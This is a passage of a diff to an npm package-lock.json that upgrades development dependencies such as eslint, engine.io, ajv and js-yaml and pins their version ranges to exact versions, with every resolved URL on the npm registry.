"end-of-stream": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.1.tgz", - "integrity": "sha512-1MkrZNvWTKCaigbn+W15elq2BB/L22nqrSY5DKlo3X6+vclJm8Bb5djXJBmEX6fS3+zCh/F4VBK5Z2KxJt4s2Q==", + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", "dev": true, "requires": { - "once": "^1.4.0" + "once": "1.4.0" } }, "engine.io": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/engine.io/-/engine.io-3.2.0.tgz", - "integrity": "sha512-mRbgmAtQ4GAlKwuPnnAvXXwdPhEx+jkc0OBCLrXuD/CRvwNK3AxRSnqK4FSqmAMRRHryVJP8TopOvmEaA64fKw==", + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/engine.io/-/engine.io-3.2.1.tgz", + "integrity": "sha512-+VlKzHzMhaU+GsCIg4AoXF1UdDFjHHwMmMKqMJNDNLlUlejz58FCy4LBqB2YVJskHGYl06BatYWKP2TVdVXE5w==", "dev": true, "requires": { - "accepts": "~1.3.4", + "accepts": "1.3.7", "base64id": "1.0.0", "cookie": "0.3.1", - "debug": "~3.1.0", - "engine.io-parser": "~2.1.0", - "ws": "~3.3.1" + "debug": "3.1.0", + "engine.io-parser": "2.1.3", + "ws": "3.3.3" }, "dependencies": { "debug": { @@ -4472,17 +4714,23 @@ "requires": { "component-emitter": "1.2.1", "component-inherit": "0.0.3", - "debug": "~3.1.0", - "engine.io-parser": "~2.1.1", + "debug": "3.1.0", + "engine.io-parser": "2.1.3", "has-cors": "1.1.0", "indexof": "0.0.1", "parseqs": "0.0.5", "parseuri": "0.0.5", - "ws": "~3.3.1", - "xmlhttprequest-ssl": "~1.5.4", + "ws": "3.3.3", + "xmlhttprequest-ssl": "1.5.5", "yeast": "0.1.2" }, "dependencies": { + "component-emitter": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.2.1.tgz", + "integrity": "sha1-E3kY1teCg/ffemt8WmPhQOaUJeY=", + "dev": true + }, "debug": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", @@ -4495,27 +4743,75 @@ } }, "engine.io-parser": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-2.1.2.tgz", - "integrity": "sha512-dInLFzr80RijZ1rGpx1+56/uFoH7/7InhH3kZt+Ms6hT8tNx3NGW/WNSA/f8As1WkOfkuyb3tnRyuXGxusclMw==", + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-2.1.3.tgz", + "integrity": "sha512-6HXPre2O4Houl7c4g7Ic/XzPnHBvaEmN90vtRO9uLmwtRqQmTOw0QMevL1TOfL2Cpu1VzsaTmMotQgMdkzGkVA==", "dev": true, "requires": { "after": "0.8.2", - "arraybuffer.slice": "~0.0.7", + "arraybuffer.slice": "0.0.7", "base64-arraybuffer": "0.1.5", - "blob": "0.0.4", - "has-binary2": "~1.0.2" + "blob": "0.0.5", + "has-binary2": "1.0.3" } }, "enhanced-resolve": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.1.0.tgz", - "integrity": "sha512-F/7vkyTtyc/llOIn8oWclcB25KdRaiPBpZYDgJHgh/UHtpgT2p2eldQgtQnLtUvfMKPKxbRaQM/hHkvLHt1Vng==", + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.1.1.tgz", + "integrity": "sha512-98p2zE+rL7/g/DzMHMTF4zZlCgeVdJ7yr6xzEpJRYwFYrGi9ANdn5DnJURg6RpBkyk60XYDnWIv51VfIhfNGuA==", "dev": true, "requires": { - "graceful-fs": "^4.1.2", - "memory-fs": "^0.4.0", - "tapable": "^1.0.0" + "graceful-fs": "4.1.11", + "memory-fs": "0.5.0", + "tapable": "1.0.0" + }, + "dependencies": { + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "memory-fs": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", + "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", + "dev": true, + "requires": { + "errno": "0.1.7", + "readable-stream": "2.3.6" + } + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "dev": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.1", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "5.1.1" + } + } } }, "ent": { @@ -4536,7 +4832,7 @@ "integrity": "sha512-MfrRBDWzIWifgq6tJj60gkAwtLNb6sQPlcFrSOflcP1aFmmruKQ2wRnze/8V6kgyz7H3FF8Npzv78mZ7XLLflg==", "dev": true, "requires": { - "prr": "~1.0.1" + "prr": "1.0.1" } }, "error-ex": { @@ -4544,7 +4840,7 @@ "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", "requires": { - "is-arrayish": "^0.2.1" + "is-arrayish": "0.2.1" } }, "es-abstract": { @@ -4553,11 +4849,11 @@ "integrity": "sha512-C8Fx/0jFmV5IPoMOFPA9P9G5NtqW+4cOPit3MIuvR2t7Ag2K15EJTpxnHAYTzL+aYQJIESYeXZmDBfOBE1HcpA==", "dev": true, "requires": { - "es-to-primitive": "^1.1.1", - "function-bind": "^1.1.1", - "has": "^1.0.1", - "is-callable": "^1.1.3", - "is-regex": "^1.0.4" + "es-to-primitive": "1.1.1", + "function-bind": "1.1.1", + "has": "1.0.3", + "is-callable": "1.1.4", + "is-regex": "1.0.4" } }, "es-to-primitive": { @@ -4566,9 +4862,9 @@ "integrity": "sha1-RTVSSKiJeQNLZ5Lhm7gfK3l13Q0=", "dev": true, "requires": { - "is-callable": "^1.1.1", - "is-date-object": "^1.0.1", - "is-symbol": "^1.0.1" + "is-callable": "1.1.4", + "is-date-object": "1.0.1", + "is-symbol": "1.0.1" } }, "es5-ext": { @@ -4577,9 +4873,9 @@ "integrity": "sha512-24XxRvJXNFwEMpJb3nOkiRJKRoupmjYmOPVlI65Qy2SrtxwOTB+g6ODjBKOtwEHbYrhWRty9xxOWLNdClT2djw==", "dev": true, "requires": { - "es6-iterator": "~2.0.3", - "es6-symbol": "~3.1.1", - "next-tick": "1" + "es6-iterator": "2.0.3", + "es6-symbol": "3.1.1", + "next-tick": "1.0.0" } }, "es6-iterator": { @@ -4588,9 +4884,9 @@ "integrity": "sha1-p96IkUGgWpSwhUQDstCg+/qY87c=", "dev": true, "requires": { - "d": "1", - "es5-ext": "^0.10.35", - "es6-symbol": "^3.1.1" + "d": "1.0.0", + "es5-ext": "0.10.46", + "es6-symbol": "3.1.1" } }, "es6-promise": { @@ -4605,8 +4901,8 @@ "integrity": "sha1-vwDvT9q2uhtG7Le2KbTH7VcVzHc=", "dev": true, "requires": { - "d": "1", - "es5-ext": "~0.10.14" + "d": "1.0.0", + "es5-ext": "0.10.46" } }, "es6-templates": { @@ -4615,8 +4911,8 @@ "integrity": "sha1-XLmsn7He1usSOTQrgdeSu7QHjuQ=", "dev": true, "requires": { - "recast": "~0.11.12", - "through": "~2.3.6" + "recast": "0.11.23", + "through": "2.3.8" } }, "escape-html": { @@ -4636,11 +4932,11 @@ "integrity": "sha1-WltTr0aTEQvrsIZ6o0MN07cKEBg=", "dev": true, "requires": { - "esprima": "^2.7.1", - "estraverse": "^1.9.1", - "esutils": "^2.0.2", - "optionator": "^0.8.1", - "source-map": "~0.2.0" + "esprima": "2.7.3", + "estraverse": "1.9.3", + "esutils": "2.0.2", + "optionator": "0.8.2", + "source-map": "0.2.0" }, "dependencies": { "estraverse": { @@ -4656,87 +4952,85 @@ "dev": true, "optional": true, "requires": { - "amdefine": ">=0.0.4" + "amdefine": "1.0.1" } } } }, "eslint": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-5.6.1.tgz", - "integrity": "sha512-hgrDtGWz368b7Wqf+v1Z69O3ZebNR0+GA7PtDdbmuz4rInFVUV9uw7whjZEiWyLzCjVb5Rs5WRN1TAS6eo7AYA==", + "version": "5.16.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-5.16.0.tgz", + "integrity": "sha512-S3Rz11i7c8AA5JPv7xAH+dOyq/Cu/VXHiHXBPOU1k/JAM5dXqQPt3qcrhpHSorXmrpu2g0gkIBVXAqCpzfoZIg==", "dev": true, "requires": { - "@babel/code-frame": "^7.0.0", - "ajv": "^6.5.3", - "chalk": "^2.1.0", - "cross-spawn": "^6.0.5", - "debug": "^4.0.1", - "doctrine": "^2.1.0", - "eslint-scope": "^4.0.0", - "eslint-utils": "^1.3.1", - "eslint-visitor-keys": "^1.0.0", - "espree": "^4.0.0", - "esquery": "^1.0.1", - "esutils": "^2.0.2", - "file-entry-cache": "^2.0.0", - "functional-red-black-tree": "^1.0.1", - "glob": "^7.1.2", - "globals": "^11.7.0", - "ignore": "^4.0.6", - "imurmurhash": "^0.1.4", - "inquirer": "^6.1.0", - "is-resolvable": "^1.1.0", - "js-yaml": "^3.12.0", - "json-stable-stringify-without-jsonify": "^1.0.1", - "levn": "^0.3.0", - "lodash": "^4.17.5", - "minimatch": "^3.0.4", - "mkdirp": "^0.5.1", - "natural-compare": "^1.4.0", - "optionator": "^0.8.2", - "path-is-inside": "^1.0.2", - "pluralize": "^7.0.0", - "progress": "^2.0.0", - "regexpp": "^2.0.0", - "require-uncached": "^1.0.3", - "semver": "^5.5.1", - "strip-ansi": "^4.0.0", - "strip-json-comments": "^2.0.1", - "table": "^4.0.3", - "text-table": "^0.2.0" + "@babel/code-frame": "7.5.5", + "ajv": "6.10.2", + "chalk": "2.4.2", + "cross-spawn": "6.0.5", + "debug": "4.1.1", + "doctrine": "3.0.0", + "eslint-scope": "4.0.3", + "eslint-utils": "1.4.2", + "eslint-visitor-keys": "1.0.0", + "espree": "5.0.1", + "esquery": "1.0.1", + "esutils": "2.0.2", + "file-entry-cache": "5.0.1", + "functional-red-black-tree": "1.0.1", + "glob": "7.1.6", + "globals": "11.12.0", + "ignore": "4.0.6", + "import-fresh": "3.1.0", + "imurmurhash": "0.1.4", + "inquirer": "6.5.2", + "js-yaml": "3.13.1", + "json-stable-stringify-without-jsonify": "1.0.1", + "levn": "0.3.0", + "lodash": "4.17.15", + "minimatch": "3.0.4", + "mkdirp": "0.5.1", + "natural-compare": "1.4.0", + "optionator": "0.8.2", + "path-is-inside": "1.0.2", + "progress": "2.0.3", + "regexpp": "2.0.1", + "semver": "5.7.1", + "strip-ansi": "4.0.0", + "strip-json-comments": "2.0.1", + "table": "5.4.6", + "text-table": "0.2.0" }, "dependencies": { "@babel/code-frame": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.0.0.tgz", - "integrity": "sha512-OfC2uemaknXr87bdLUkWog7nYuliM9Ij5HUcajsVcMCpQrcLmtxRbVFTIqmcSkSeYRBFBRxs2FiUqFJDLdiebA==", + "version": "7.5.5", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.5.5.tgz", + "integrity": "sha512-27d4lZoomVyo51VegxI20xZPuSHusqbQag/ztrBC7wegWoQ1nLREPVSKSW8byhTlzTKyNE4ifaTA6lCp7JjpFw==", "dev": true, "requires": { - "@babel/highlight": "^7.0.0" + "@babel/highlight": "7.5.0" } }, "@babel/highlight": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.0.0.tgz", - "integrity": "sha512-UFMC4ZeFC48Tpvj7C8UgLvtkaUuovQX+5xNWrsIoMG8o2z+XFKjKaN9iVmS84dPwVN00W4wPmqvYoZF3EGAsfw==", + "version": "7.5.0", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.5.0.tgz", + "integrity": "sha512-7dV4eu9gBxoM0dAnj/BCFDW9LFU0zvTrkq0ugM7pnHEgguOEeOz1so2ZghEdzviYzQEED0r4EAgpsBChKy1TRQ==", "dev": true, "requires": { - "chalk": "^2.0.0", - "esutils": "^2.0.2", - "js-tokens": "^4.0.0" + "chalk": "2.4.2", + "esutils": "2.0.2", + "js-tokens": "4.0.0" } }, "ajv": { - "version": "6.5.4", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.5.4.tgz", - "integrity": "sha512-4Wyjt8+t6YszqaXnLDfMmG/8AlO5Zbcsy3ATHncCzjW/NoPzAId8AK6749Ybjmdt+kUY1gP60fCu46oDxPv/mg==", + "version": "6.10.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.2.tgz", + "integrity": "sha512-TXtUUEYHuaTEbLZWIKUr5pmBuhDLy+8KYtPYdcV8qC+pOZL+NKqYwvWSRrVXHn+ZmRRAu8vJTAznH7Oag6RVRw==", "dev": true, "requires": { - "fast-deep-equal": "^2.0.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" + "fast-deep-equal": "2.0.1", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.4.1", + "uri-js": "4.2.2" } }, "ansi-regex": { @@ -4751,50 +5045,37 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "cross-spawn": { - "version": "6.0.5", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", - "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", - "dev": true, - "requires": { - "nice-try": "^1.0.4", - "path-key": "^2.0.1", - "semver": "^5.5.0", - "shebang-command": "^1.2.0", - "which": "^1.2.9" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.5.0" } }, "debug": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.0.tgz", - "integrity": "sha512-heNPJUJIqC+xB6ayLAMHaIrmN9HKa7aQO8MGqKpvCA+uJYVcvR6l5kgdrhRuwPFHU7P5/A1w0BjByPHwpfTDKg==", + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", + "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "eslint-scope": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.0.tgz", - "integrity": "sha512-1G6UTDi7Jc1ELFwnR58HV4fK9OQK4S6N985f166xqXxpjU6plxFISJa2Ba9KCQuFa8RCnj/lSFJbHo7UFDBnUA==", + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.3.tgz", + "integrity": "sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==", "dev": true, "requires": { - "esrecurse": "^4.1.0", - "estraverse": "^4.1.1" + "esrecurse": "4.2.1", + "estraverse": "4.2.0" } }, "esprima": { @@ -4810,9 +5091,9 @@ "dev": true }, "globals": { - "version": "11.8.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-11.8.0.tgz", - "integrity": "sha512-io6LkyPVuzCHBSQV9fmOwxZkUk6nIaGmxheLDgmuFv89j0fm2aqDbIXKAGfzCMHqz3HLF2Zf8WSG6VqMh2qFmA==", + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", "dev": true }, "has-flag": { @@ -4821,6 +5102,16 @@ "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", "dev": true }, + "import-fresh": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.1.0.tgz", + "integrity": "sha512-PpuksHKGt8rXfWEr9m9EHIpgyyaltBy8+eF6GJM0QCAxMgxCfucMF3mjecK2QsJr0amJW7gTqh5/wht0z2UhEQ==", + "dev": true, + "requires": { + "parent-module": "1.0.1", + "resolve-from": "4.0.0" + } + }, "js-tokens": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", @@ -4828,13 +5119,13 @@ "dev": true }, "js-yaml": { - "version": "3.12.0", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.12.0.tgz", - "integrity": "sha512-PIt2cnwmPfL4hKNwqeiuz4bKfnzHTBv6HyVgjahA6mPLwPDzjDWrplJBMjHUFxku/N3FlmrbyPclad+I+4mJ3A==", + "version": "3.13.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", + "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", "dev": true, "requires": { - "argparse": "^1.0.7", - "esprima": "^4.0.0" + "argparse": "1.0.9", + "esprima": "4.0.1" } }, "json-schema-traverse": { @@ -4843,22 +5134,34 @@ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", "dev": true }, + "lodash": { + "version": "4.17.15", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", + "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==", + "dev": true + }, "ms": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", - "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", "dev": true }, "progress": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.0.tgz", - "integrity": "sha1-ihvjZr+Pwj2yvSPxDG/pILQ4nR8=", + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "dev": true + }, + "resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", "dev": true }, "semver": { - "version": "5.5.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.1.tgz", - "integrity": "sha512-PqpAxfrEhlSUWge8dwIp4tZnQ25DIOthpiaHNIthsjEFQD6EvqUKUDM7L8O2rShkFccYo1VjJR0coWfNkCubRw==", + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", "dev": true }, "strip-ansi": { @@ -4867,7 +5170,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } }, "supports-color": { @@ -4876,48 +5179,78 @@ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } }, "eslint-loader": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-2.1.1.tgz", - "integrity": "sha512-1GrJFfSevQdYpoDzx8mEE2TDWsb/zmFuY09l6hURg1AeFIKQOvZ+vH0UPjzmd1CZIbfTV5HUkMeBmFiDBkgIsQ==", + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-2.2.1.tgz", + "integrity": "sha512-RLgV9hoCVsMLvOxCuNjdqOrUqIj9oJg8hF44vzJaYqsAHuY9G2YAeN3joQ9nxP0p5Th9iFSIpKo+SD8KISxXRg==", "dev": true, "requires": { - "loader-fs-cache": "^1.0.0", - "loader-utils": "^1.0.2", - "object-assign": "^4.0.1", - "object-hash": "^1.1.4", - "rimraf": "^2.6.1" + "loader-fs-cache": "1.0.2", + "loader-utils": "1.2.3", + "object-assign": "4.1.1", + "object-hash": "1.3.1", + "rimraf": "2.7.1" }, "dependencies": { - "loader-utils": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz", - "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", + "big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "dev": true + }, + "json5": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "minimist": "1.2.0" + } + }, + "loader-utils": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz", + "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==", + "dev": true, + "requires": { + "big.js": "5.2.2", + "emojis-list": "2.1.0", + "json5": "1.0.1" } } } }, "eslint-plugin-react": { - "version": "7.11.1", - "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.11.1.tgz", - "integrity": "sha512-cVVyMadRyW7qsIUh3FHp3u6QHNhOgVrLQYdQEB1bPWBsgbNCHdFAeNMquBMCcZJu59eNthX053L70l7gRt4SCw==", + "version": "7.16.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.16.0.tgz", + "integrity": "sha512-GacBAATewhhptbK3/vTP09CbFrgUJmBSaaRcWdbQLFvUZy9yVcQxigBNHGPU/KE2AyHpzj3AWXpxoMTsIDiHug==", "dev": true, "requires": { - "array-includes": "^3.0.3", - "doctrine": "^2.1.0", - "has": "^1.0.3", - "jsx-ast-utils": "^2.0.1", - "prop-types": "^15.6.2" + "array-includes": "3.0.3", + "doctrine": "2.1.0", + "has": "1.0.3", + "jsx-ast-utils": "2.2.3", + "object.entries": "1.1.0", + "object.fromentries": "2.0.1", + "object.values": "1.1.0", + "prop-types": "15.7.2", + "resolve": "1.12.0" + }, + "dependencies": { + "doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dev": true, + "requires": { + "esutils": "2.0.2" + } + } } }, "eslint-scope": { @@ -4926,15 +5259,18 @@ "integrity": "sha1-PWPD7f2gLgbgGkUq2IyqzHzctug=", "dev": true, "requires": { - "esrecurse": "^4.1.0", - "estraverse": "^4.1.1" + "esrecurse": "4.2.1", + "estraverse": "4.2.0" } }, "eslint-utils": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-1.3.1.tgz", - "integrity": "sha512-Z7YjnIldX+2XMcjr7ZkgEsOj/bREONV60qYeB/bjMAqqqZ4zxKyWX+BOUkdmRmA9riiIPVvo5x86m5elviOk0Q==", - "dev": true + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-1.4.2.tgz", + "integrity": "sha512-eAZS2sEUMlIeCjBeubdj45dmBHQwPHWyBcT1VSYB7o9x9WRRqKxyUoiXlRjyAwzN7YEzHJlYg0NmzDRWx6GP4Q==", + "dev": true, + "requires": { + "eslint-visitor-keys": "1.0.0" + } }, "eslint-visitor-keys": { "version": "1.0.0", @@ -4943,13 +5279,14 @@ "dev": true }, "espree": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-4.0.0.tgz", - "integrity": "sha512-kapdTCt1bjmspxStVKX6huolXVV5ZfyZguY1lcfhVVZstce3bqxH9mcLzNn3/mlgW6wQ732+0fuG9v7h0ZQoKg==", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/espree/-/espree-5.0.1.tgz", + "integrity": "sha512-qWAZcWh4XE/RwzLJejfcofscgMc9CamR6Tn1+XRXNzrvUSSbiAjGOI/fggztjIi7y9VLPqnICMIPiGyr8JaZ0A==", "dev": true, "requires": { - "acorn": "^5.6.0", - "acorn-jsx": "^4.1.1" + "acorn": "6.3.0", + "acorn-jsx": "5.0.2", + "eslint-visitor-keys": "1.0.0" } }, "esprima": { @@ -4964,7 +5301,7 @@ "integrity": "sha512-SmiyZ5zIWH9VM+SRUReLS5Q8a7GxtRdxEBVZpm98rJM7Sb+A9DVCndXfkeFUd3byderg+EbDkfnevfCwynWaNA==", "dev": true, "requires": { - "estraverse": "^4.0.0" + "estraverse": "4.2.0" } }, "esrecurse": { @@ -4973,7 +5310,7 @@ "integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==", "dev": true, "requires": { - "estraverse": "^4.1.0" + "estraverse": "4.2.0" } }, "estraverse": { @@ -4994,24 +5331,24 @@ "dev": true }, "eventemitter3": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-3.1.0.tgz", - "integrity": 